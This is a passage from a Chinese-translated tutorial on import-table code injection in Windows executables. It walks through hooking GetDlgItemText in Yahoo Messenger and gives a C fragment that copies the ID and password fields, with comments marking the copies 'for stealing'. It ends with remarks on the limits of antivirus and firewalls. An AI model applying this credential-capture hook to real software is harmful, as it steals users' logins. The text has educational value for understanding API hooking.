导入表内注入代码(二)
2007-03-17 21:59:50 来源:WEB开发网your important information. The Antivirus only can scan the file image; they lost
Antivirus(杀毒软件)只可以扫描到这个文件的image;它们完全失去了它们对运行时进程注入的的控制。因此在你遨游互联网时;要小心并一直使用一个功能强大的防火墙。
Yahoo Messenger hooker是如何工作的?
我下面解析写一个Yahoo Messenger hooker的实际步骤:
用类名称通过FindWindow()获得Yahoo Messenger的句柄。
HWND hWnd = FindWindow("YahooBuddyMain", NULL);
像上一节一样,实现一个注入到它的进程。
在GetDlgItemText()的import thunk上执行这个注入以过滤其成员。UINT GetDlgItemText( HWND hDlg,
int nIDDlgItem,
LPTSTR lpString,
int nMaxCount);
比较对话项ID (dialog item ID),用特定ID来探测哪一项当前正在使用。如果ID被找到,用普通的GetDlgItemText()钩住字符串。CHAR pYahooID[127];
CHAR pPassword[127];
switch(nIDDlgItem)
{
case 211: // Yahoo ID
GetDlgItemText(hDlg, nIDDlgItem, pYahooID, 127); // for stealing
// ...
GetDlgItemText(hDlg, nIDDlgItem, lpString, nMaxCount);// Emulate the original
break;
case 212: // Password
GetDlgItemText(hDlg, nIDDlgItem, pPassword, 127); // for stealing
// ...
GetDlgItemText(hDlg, nIDDlgItem, lpString, nMaxCount);// Emulate the original
break;
default:
GetDlgItemText(hDlg, nIDDlgItem, lpString, nMaxCount);// Emulate the original
}
图 14 - Hooking Yahoo Messenger
现在我相信没有完全的安全了。某人只用很少的代码就可以偷走我的Yahoo ID和其密码。我们生活在一个不安全的世界!
7.结论
Import Table是一个Windows executable文件的特殊部分。导入表实现技术的知识帮助我们认识到API在运行时是如何被请求的。你可以重定向导入表到当前进程内存的其他executable内存来阻止用你自己的PE loader的反向工程行为以及也可以钩住API函数。通过从外界冻结和解冻进程修改在运行时中的进程的导入表是可能的,这个灾难迫使我们在安全装置上更多地考虑,比如反病毒、防火墙、其它等等;然而它们并不能有助于防止每天世界上诞生的新的(攻击)方法。此外,这个概念帮助我们建立我们的虚拟机监视器(virtual machine monitor)以在Windows 或 Linux系统内部的一个独立环境内运行Windows executable 文件,此我不再需要Windows System来就可运行我的 Windows EXE文件。
更多精彩
赞助商链接